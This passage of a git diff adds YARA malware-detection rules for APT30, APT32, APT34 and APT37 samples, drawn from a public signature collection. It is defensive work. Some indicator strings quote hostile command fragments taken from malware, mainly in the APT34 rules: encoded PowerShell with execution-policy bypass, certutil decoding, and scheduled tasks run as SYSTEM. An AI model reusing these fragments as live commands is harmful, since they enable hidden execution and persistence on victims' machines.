+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "44492c53715d7c79895904543843a321491cb23a"
+		id = "24334885-fcb4-5a13-82e8-c8465f97361e"
+	strings:
+		$s0 = "LSSAS.exe" fullword ascii
+		$s1 = "Software\\Microsoft\\FlashDiskInf" fullword ascii
+		$s2 = ".petite" fullword ascii
+		$s3 = "MicrosoftFlashExit" fullword ascii
+		$s4 = "MicrosoftFlashHaveExit" fullword ascii
+		$s5 = "MicrosoftFlashHaveAck" fullword ascii
+		$s6 = "\\driver32" ascii
+		$s7 = "MicrosoftFlashZJ" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_30 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "3b684fa40b4f096e99fbf535962c7da5cf0b4528"
+		id = "787b288a-6fb4-5483-af76-933651ec6d58"
+	strings:
+		$s0 = "5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)" fullword wide
+		$s3 = "RnhwtxtkyLRRMf{jJ}ny" fullword ascii
+		$s4 = "RnhwtxtkyLRRJ}ny" fullword ascii
+		$s5 = "ZRLDownloadToFileA" fullword ascii
+		$s9 = "5.1.2600.2180" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_31 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "8b4271167655787be1988574446125eae5043aca"
+		id = "9333870b-7eaa-54dd-a801-7292708fb592"
+	strings:
+		$s0 = "\\ZJRsv.tem" ascii
+		$s1 = "forceguest" fullword ascii
+		$s4 = "\\$NtUninstallKB570317$" ascii
+		$s8 = "[Can'tGetIP]" fullword ascii
+		$s14 = "QWERTY:,`/" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_J {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "49aca228674651cba776be727bdb7e60"
+		hash2 = "5c7a6b3d1b85fad17333e02608844703"
+		hash3 = "649fa64127fef1305ba141dd58fb83a5"
+		hash4 = "9982fd829c0048c8f89620691316763a"
+		hash5 = "baff5262ae01a9217b10fcd5dad9d1d5"
+		hash6 = "9982fd829c0048c8f89620691316763a"
+		id = "64a5106e-d7f3-5c68-a14e-410149a1bb9e"
+	strings:
+		$s0 = "Launcher.EXE" fullword wide
+		$s1 = "Symantec Security Technologies" fullword wide
+		$s2 = "\\Symantec LiveUpdate.lnk" ascii
+		$s3 = "Symantec Service Framework" fullword wide
+		$s4 = "\\ccSvcHst.exe" ascii
+		$s5 = "\\wssfmgr.exe" ascii
+		$s6 = "Symantec Corporation" fullword wide
+		$s7 = "\\5.1.0.29" ascii
+		$s8 = "\\Engine" ascii
+		$s9 = "Copyright (C) 2000-2010 Symantec Corporation. All rights reserved." fullword wide
+		$s10 = "Symantec LiveUpdate" fullword ascii
+		$s11 = "\\Norton360" ascii
+		$s15 = "BinRes" fullword ascii
+		$s16 = "\\readme.lz" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Microfost {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "57169cb4b8ef7a0d7ebd7aa039d1a1efd6eb639e"
+		id = "19231001-1da3-5be6-8275-03c9fc7c6377"
+	strings:
+		$s1 = "Copyright (c) 2007 Microfost All Rights Reserved" fullword wide
+		$s2 = "Microfost" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_K {
+   meta:
+      description = "FireEye APT30 Report Sample"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+      date = "2015/04/03"
+      modified = "2023-01-06"
+      score = 75
+      hash = "142bc01ad412799a7f9ffed994069fecbd5a2f93"
+      id = "49629825-4233-5d74-b763-b2500536eb90"
+   strings:
+      $x1 = "Maybe a Encrypted Flash" fullword ascii
+
+      $s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
+      $s1 = "\\TEMP\\" ascii
+      $s2 = "\\Temporary Internet Files\\" ascii
+      $s5 = "%s Size:%u Bytes" fullword ascii
+      $s7 = "$.DATA$" fullword ascii
+      $s10 = "? Size:%u By s" fullword ascii
+      $s12 = "Maybe a Encrypted Flash" fullword ascii
+      $s14 = "Name:%-32s" fullword ascii
+      $s15 = "NickName:%-32s" fullword ascii
+      $s19 = "Email:%-32s" fullword ascii
+      $s21 = "C:\\Prog" ascii
+      $s22 = "$LDDATA$" ascii
+      $s31 = "Copy File %s OK!" fullword ascii
+      $s32 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
+      $s34 = "open=%s" fullword ascii
+   condition:
+      filesize < 100KB and uint16(0) == 0x5A4D and ( all of ($x*) and 3 of ($s*) )
+}
+
+rule APT30_Sample_33 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "72c568ee2dd75406858c0294ccfcf86ad0e390e4"
+		id = "be6afc4a-97fe-56ba-b057-e21415f9833d"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "msmsgr.exe" fullword wide
+		$s2 = "MYUSER32.dll" fullword ascii
+		$s3 = "MYADVAPI32.dll" fullword ascii
+		$s4 = "CeleWare.NET1" fullword ascii
+		$s6 = "MYMSVCRT.dll" fullword ascii
+		$s7 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the" wide
+		$s8 = "WWW.CeleWare.NET1" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and 6 of them
+}
+
+rule APT30_Sample_34 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "216868edbcdd067bd2a9cce4f132d33ba9c0d818"
+		id = "a4802e13-4151-5f17-ba91-dcf9ef6b52bb"
+	strings:
+		$s0 = "dizhi.gif" ascii
+		$s1 = "eagles.vip.nse" ascii
+		$s4 = "o%S:S0" ascii
+		$s5 = "la/4.0" ascii
+		$s6 = "s#!<4!2>s02==<'s1" ascii
+		$s7 = "HlobalAl" ascii
+		$s9 = "vcMicrosoftHaveAck7"  ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_35 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "df48a7cd6c4a8f78f5847bad3776abc0458499a6"
+		id = "8a30720b-06da-5a82-8bab-bf06121afd68"
+	strings:
+		$s0 = "WhBoyIEXPLORE.EXE.exe" fullword ascii
+		$s5 = "Startup>A" fullword ascii
+		$s18 = "olhelp32Snapshot" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_1 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "8cea83299af8f5ec6c278247e649c9d91d4cf3bc"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+	strings:
+		$s0 = "#hostid" fullword ascii
+		$s1 = "\\Windows\\C" ascii
+		$s5 = "TimUmove" fullword ascii
+		$s6 = "Moziea/4.0 (c" fullword ascii
+		$s7 = "StartupNA" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_1 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "aaa5c64200ff0818c56ebe4c88bcc1143216c536"
+		hash1 = "cb4263cab467845dae9fae427e3bbeb31c6a14c2"
+		hash2 = "b69b95db8a55a050d6d6c0cba13d73975b8219ca"
+		hash3 = "5c29e21bbe8873778f9363258f5e570dddcadeb9"
+		hash4 = "d5cb07d178963f2dea2c754d261185ecc94e09d6"
+		hash5 = "626dcdd7357e1f8329e9137d0f9883f57ec5c163"
+		hash6 = "843997b36ed80d3aeea3c822cb5dc446b6bfa7b9"
+		id = "4d21f402-24da-5e38-9225-a1461e61802f"
+	strings:
+		$s0 = "%s\\%s.txt" fullword
+		$s1 = "\\ldsysinfo.txt"
+		$s4 = "(Extended Wansung)" fullword
+		$s6 = "Computer Name:" fullword
+		$s7 = "%s %uKB %04u-%02u-%02u %02u:%02u" fullword
+		$s8 = "ASSAMESE" fullword
+		$s9 = "BELARUSIAN" fullword
+		$s10 = "(PR China)" fullword
+		$s14 = "(French)" fullword
+		$s15 = "AdvancedServer" fullword
+		$s16 = "DataCenterServer" fullword
+		$s18 = "(Finland)" fullword
+		$s19 = "%s %04u-%02u-%02u %02u:%02u" fullword
+		$s20 = "(Chile)" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Generic_2 {
+	meta:
+		description = "FireEye APT30 Report Sample - from many files"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "aba8b9fa213e5e2f1f0404d13fecc20ea8651b57"
+		hash1 = "7f11f5c9475240e5dd2eea7726c9229972cffc1f"
+		hash2 = "94d3f91d1e50ecea729617729013c3d143bf2c3e"
+		hash3 = "7e516ec04f28c76d67b8111ddfe58bbd628362cc"
+		hash4 = "6b27bc0b0460b0a25b45d897ed4f399106c284d9"
+		hash5 = "6df5b4b3da0964153bad22fb1f69483ae8316655"
+		hash6 = "b68bce61dfd8763c3003480ba4066b3cb1ef126e"
+		hash7 = "cc124682246d098740cfa7d20aede850d49b6597"
+		hash8 = "1ef415bca310575944934fc97b0aa720943ba512"
+		hash9 = "0559ab9356dcc869da18b2c96f48b76478c472b3"
+		hash10 = "f15272042a4f9324ad5de884bd50f4072f4bdde3"
+		hash11 = "1d93d5f5463cdf85e3c22c56ed1381957f4efaac"
+		hash12 = "b6f1fb0f8a2fb92a3c60e154f24cfbca1984529f"
+		hash13 = "9967a99a1b627ddb6899919e32a0f544ea498b48"
+		hash14 = "95a3c812ca0ad104f045b26c483495129bcf37ca"
+		hash15 = "bde9a72b2113d18b4fa537cc080d8d8ba1a231e8"
+		hash16 = "ce1f53e06feab1e92f07ed544c288bf39c6fce19"
+		hash17 = "72dae031d885dbf492c0232dd1c792ab4785a2dc"
+		hash18 = "a2ccba46e40d0fb0dd3e1dba160ecbb5440862ec"
+		hash19 = "c8007b59b2d495029cdf5b7b8fc8a5a1f7aa7611"
+		hash20 = "9c6f470e2f326a055065b2501077c89f748db763"
+		hash21 = "af3e232559ef69bdf2ee9cd96434dcec58afbe5a"
+		hash22 = "e72e67ba32946c2702b7662c510cc1242cffe802"
+		hash23 = "8fc0b1618b61dce5f18eba01809301cb7f021b35"
+		hash24 = "6a8159da055dac928ba7c98ea1cdbe6dfb4a3c22"
+		hash25 = "47463412daf0b0a410d3ccbb7ea294db5ff42311"
+		hash26 = "e6efa0ccfddda7d7d689efeb28894c04ebc72be2"
+		hash27 = "43a3fc9a4fee43252e9a570492e4efe33043e710"
+		hash28 = "7406ebef11ca9f97c101b37f417901c70ab514b1"
+		hash29 = "53ed9b22084f89b4b595938e320f20efe65e0409"
+		id = "60d7d661-50e8-5a9b-8366-eda8ff8ad9d4"
+	strings:
+		$s0 = "%s\\%s\\KB985109.log" fullword
+		$s1 = "%s\\%s\\KB989109.log" fullword
+		$s2 = "Opera.exe" fullword wide
+		$s3 = "%s:All online success on %u!" fullword
+		$s4 = "%s:list online success on %u!" fullword
+		$s5 = "%s:All online fail!" fullword
+		$s6 = "Copyright Opera Software 1995-" wide
+		$s7 = "%s:list online fail!" fullword
+		$s8 = "OnlineTmp.txt" fullword
+		$s9 = "Opera Internet Browser" fullword wide
+		$s12 = "Opera Software" fullword wide
+		$s15 = "Check lan have done!!!" fullword
+		$s16 = "List End." fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+/* I disabled this shit rule - F.R.
+rule APT30_Generic_3 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b90ac3e58ed472829e2562023e6e892d2d61ac44"
+		hash1 = "342036ace2e9e6d504b0dec6399e4fa92de46c12"
+		hash2 = "5cdf397dfd9eb66ff5ff636777f6982c1254a37a"
+	strings:
+		$s0 = "Acrobat.exe" fullword wide
+		$s14 = "********************************" fullword
+		$s16 = "FFFF:>>>>>>>>>>>>>>>>>@" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+*/
+
+rule APT30_Generic_4 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "bb390f99bfde234bbed59f6a0d962ba874b2396c"
+		hash1 = "b47e20ac5889700438dc241f28f4e224070810d2"
+		hash2 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
+		hash3 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
+		id = "2b246ae2-ec7d-5813-913e-729e4192da59"
+	strings:
+		$s0 = "del NetEagle_Scout.bat" fullword
+		$s1 = "NetEagle_Scout.bat" fullword
+		$s2 = "\\visit.exe"
+		$s3 = "\\System.exe"
+		$s4 = "\\System.dat"
+		$s5 = "\\ieupdate.exe"
+		$s6 = "GOTO ERROR" fullword
+		$s7 = ":ERROR" fullword
+		$s9 = "IF EXIST " fullword
+		$s10 = "ioiocn" fullword
+		$s11 = "SetFileAttribute" fullword
+		$s12 = "le_0*^il" fullword
+		$s13 = "le_.*^il" fullword
+		$s14 = "le_-*^il" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_5 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "cb4833220c508182c0ccd4e0d5a867d6c4e675f8"
+		hash1 = "dfc9a87df2d585c479ab02602133934b055d156f"
+		hash2 = "bf59d5ff7d38ec5ffb91296e002e8742baf24db5"
+		id = "e00a670e-cd95-515f-8109-219ce5121ba4"
+	strings:
+		$s0 = "regsvr32 /s \"%ProgramFiles%\\Norton360\\Engine\\5.1.0.29\\ashelper.dll\"" fullword
+		$s1 = "name=\"ftpserver.exe\"/>" fullword
+		$s2 = "LiveUpdate.EXE" fullword wide
+		$s3 = "<description>FTP Explorer</description>" fullword
+		$s4 = "\\ashelper.dll"
+		$s5 = "LiveUpdate" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_6 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b9aafb575d3d1732cb8fdca5ea226cebf86ea3c9"
+		hash1 = "2c5e347083b77c9ead9e75d41e2fabe096460bba"
+		hash2 = "5d39a567b50c74c4a921b5f65713f78023099933"
+		id = "dfd104bd-daf4-593a-b161-61f43aec048c"
+	strings:
+		$s0 = "GetStar" fullword
+		$s1 = ".rdUaS" fullword
+		$s2 = "%sOTwp/&A\\L" fullword
+		$s3 = "a Encrt% Flash Disk" fullword
+		$s4 = "ypeAutoRuChec" fullword
+		$s5 = "NoDriveT" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_7 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "2415f661046fdbe3eea8cd276b6f13354019b1a6"
+		hash1 = "e814914079af78d9f1b71000fee3c29d31d9b586"
+		hash2 = "0263de239ccef669c47399856d481e3361408e90"
+		id = "bba40092-267b-5231-92f1-f222c9f888ee"
+	strings:
+		$s1 = "Xjapor_*ata" fullword
+		$s2 = "Xjapor_o*ata" fullword
+		$s4 = "Ouopai" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Generic_8 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b47e20ac5889700438dc241f28f4e224070810d2"
+		hash1 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
+		hash2 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
+		id = "a6845222-0a3e-5327-a448-36e8d54362a5"
+	strings:
+		$s0 = "Windows NT4.0" fullword
+		$s1 = "Windows NT3.51" fullword
+		$s2 = "%d;%d;%d;%ld;%ld;%ld;" fullword
+		$s3 = "%s %d.%d Build%d %s" fullword
+		$s4 = "MSAFD Tcpip [TCP/IP]" fullword
+		$s5 = "SQSRSS" fullword
+		$s8 = "WM_COMP" fullword
+		$s9 = "WM_MBU" fullword
+		$s11 = "WM_GRID" fullword
+		$s12 = "WM_RBU" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_9 {
+	meta:
+		description = "FireEye APT30 Report Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "00d9949832dc3533592c2ce06a403ef19deddce9"
+		hash1 = "27a2b981d4c0bb8c3628bfe990db4619ddfdff74"
+		hash2 = "05f66492c163ec2a24c6a87c7a43028c5f632437"
+		hash3 = "263f094da3f64e72ef8dc3d02be4fb33de1fdb96"
+		id = "cf259f8d-e0a9-579d-93e7-ec14d99faf81"
+	strings:
+		$s0 = "%s\\%s\\$NtRecDoc$" fullword
+		$s1 = "%s(%u)%s" fullword
+		$s2 = "http://%s%s%s" fullword
+		$s3 = "1.9.1.17" fullword wide
+		$s4 = "(C)Firefox and Mozilla Developers, according to the MPL 1.1/GPL 2.0/LGPL" wide
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
diff --git a/yara-Neo23x0/apt_apt32.yar b/yara-Neo23x0/apt_apt32.yar
new file mode 100644
index 0000000..0e8dba3
--- /dev/null
+++ b/yara-Neo23x0/apt_apt32.yar
@@ -0,0 +1,49 @@
+import "pe"
+
+rule EXT_APT32_goopdate_installer {
+  meta:
+    reference = "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/"
+    author = "Facebook"
+    description = "Detects APT32 installer side-loaded with goopdate.dll"
+    sample = "69730f2c2bb9668a17f8dfa1f1523e0e1e997ba98f027ce98f5cbaa869347383"
+    id = "08f3cbda-ccb7-517a-b205-5f71de26c735"
+  strings:
+    $s0 = { 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? ?? }
+    $s1 = "GetProcAddress"
+    $s2 = { 8B 4D FC ?? ?? 0F B6 51 0C ?? ?? 8B 4D F0 0F B6 1C 01 33 DA }
+    $s3 = "FindNextFileW"
+    $s4 = "Process32NextW"
+
+  condition:
+    (pe.is_64bit() or pe.is_32bit()) and
+    all of them
+}
+
+rule EXT_APT32_osx_backdoor_loader {
+  meta:
+    reference = "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/"
+    author = "Facebook"
+    description = "Detects APT32 backdoor loader on OSX"
+    sample = "768510fa9eb807bba9c3dcb3c7f87b771e20fa3d81247539e9ea4349205e39eb"
+    id = "ac313bd8-bf15-5b72-b651-35015f71dd90"
+  strings:
+    $a1 = { 00 D2 44 8A 04 0F 44 88 C0 C0 E8 07 08 D0 88 44 0F FF 48 FF C1 48 83 F9 10 44 88 C2 }
+    $a2 = { 41 0F 10 04 07 0F 57 84 05 A0 FE FF FF 41 0F 11 04 07 48 83 C0 10 48 83 F8 10 75 }
+
+    // Encrypted data
+    $e1 = { CA CF 3E F2 DA 43 E6 D1  D5 6C D4 23 3A AE F1 B2 } // Decoded to drop filepath: '/tmp/panels'
+    $e2 = "MlkHVdRbOkra9s+G65MAoLga340t3+zj/u8LPfP3hig=" // Decoded to export API name 'ArchaeologistCodeine'
+    $e3 = { 5A 69 98 0E 6C 4B 5C 69  7E 19 34 3B C3 07 CA 13 } // Decoded to 'ifconfig -l'
+    $e4 = "1Sib4HfPuRQjpxIpECnxxTPiu3FXOFAHMx/+9MEVv9M+h1ngV7T5WUP3b0zsg0Qd" // Decoded to export API 'PlayerAberadurtheIncomprehensible'
+
+    // Decoded export func names
+    $e5 = "_ArchaeologistCodeine"
+    $e6 = "_PlayerAberadurtheIncomprehensible"
+
+  condition:
+    ((uint32(0) == 0xfeedface or uint32be(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf or uint32be(0) == 0xfeedfacf)) and
+   (
+      2 of ($e*) or
+      all of ($a*)
+   )
+}
diff --git a/yara-Neo23x0/apt_apt34.yar b/yara-Neo23x0/apt_apt34.yar
new file mode 100644
index 0000000..79d6663
--- /dev/null
+++ b/yara-Neo23x0/apt_apt34.yar
@@ -0,0 +1,59 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-12-07
+   Identifier: APT 34
+   Reference: https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT34_Malware_HTA {
+   meta:
+      description = "Detects APT 34 malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+      date = "2017-12-07"
+      hash1 = "f6fa94cc8efea0dbd7d4d4ca4cf85ac6da97ee5cf0c59d16a6aafccd2b9d8b9a"
+      id = "683faded-7e4b-5b2f-9f85-300db96ed9d1"
+   strings:
+      $x1 = "WshShell.run \"cmd.exe /C C:\\ProgramData\\" ascii
+      $x2 = ".bat&ping 127.0.0.1 -n 6 > nul&wscript  /b" ascii
+      $x3 = "cmd.exe /C certutil -f  -decode C:\\ProgramData\\" ascii
+      $x4 = "a.WriteLine(\"set Shell0 = CreateObject(" ascii
+      $x5 = "& vbCrLf & \"Shell0.run" ascii
+
+      $s1 = "<title>Blog.tkacprow.pl: HTA Hello World!</title>" fullword ascii
+      $s2 = "<body onload=\"test()\">" fullword ascii
+   condition:
+      filesize < 60KB and ( 1 of ($x*) or all of ($s*) )
+}
+
+rule APT34_Malware_Exeruner {
+   meta:
+      description = "Detects APT 34 malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+      date = "2017-12-07"
+      hash1 = "c75c85acf0e0092d688a605778425ba4cb2a57878925eee3dc0f4dd8d636a27a"
+      id = "8ddfa59d-9b8a-5cb6-a992-6498ac9be75d"
+   strings:
+      $x1 = "\\obj\\Debug\\exeruner.pdb" ascii
+      $x2 = "\"wscript.shell`\")`nShell0.run" wide
+      $x3 = "powershell.exe -exec bypass -enc \" + ${global:$http_ag} +" wide
+      $x4 = "/c powershell -exec bypass -window hidden -nologo -command " fullword wide
+      $x5 = "\\UpdateTasks\\JavaUpdatesTasksHosts\\" wide
+      $x6 = "schtasks /create /F /ru SYSTEM /sc minute /mo 1 /tn" wide
+      $x7 = "UpdateChecker.ps1 & ping 127.0.0.1" wide
+      $s8 = "exeruner.exe" fullword wide
+      $s9 = "${global:$address1} = $env:ProgramData + \"\\Windows\\Microsoft\\java\";" fullword wide
+      $s10 = "C:\\ProgramData\\Windows\\Microsoft\\java" fullword wide
+      $s11 = "function runByVBS" fullword wide
+      $s12 = "$84e31856-683b-41c0-81dd-a02d8b795026" fullword ascii
+      $s13 = "${global:$dns_ag} = \"aQBmACAAKAAoAEcAZQB0AC0AVwBtAGk" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and 1 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_apt37.yar b/yara-Neo23x0/apt_apt37.yar
new file mode 100644
index 0000000..efb80c8
--- /dev/null
+++ b/yara-Neo23x0/apt_apt37.yar
@@ -0,0 +1,17 @@
+rule APT_NK_Methodology_Artificial_UserAgent_IE_Win7 {
+    meta:
+        author = "Steve Miller aka @stvemillertime"
+        description = "Detects hard-coded User-Agent string that has been present in several APT37 malware families."
+        hash1 = "e63efbf8624a531bb435b7446dbbfc25"
+        score = 45
+        id = "a747c908-7af7-5c29-8386-a71db7648061"
+    strings:
+        $a1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
+        $a2 = {4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 00 00 00 00}
+
+        $fp1 = "Esumsoft" wide
+        $fp2 = "Acunetix" wide ascii
+        $fp3 = "TASER SYNC" ascii
+    condition:
+        uint16(0) == 0x5A4D and all of ($a*) and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/apt_apt37_bluelight.yar b/yara-Neo23x0/apt_apt37_bluelight.yar
new file mode 100644
index 0000000..f4c2521
--- /dev/null
+++ b/yara-Neo23x0/apt_apt37_bluelight.yar
@@ -0,0 +1,144 @@
+/* 
+Copyright 2021 by Volexity, Inc.
+
+The 2-Clause BSD License
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
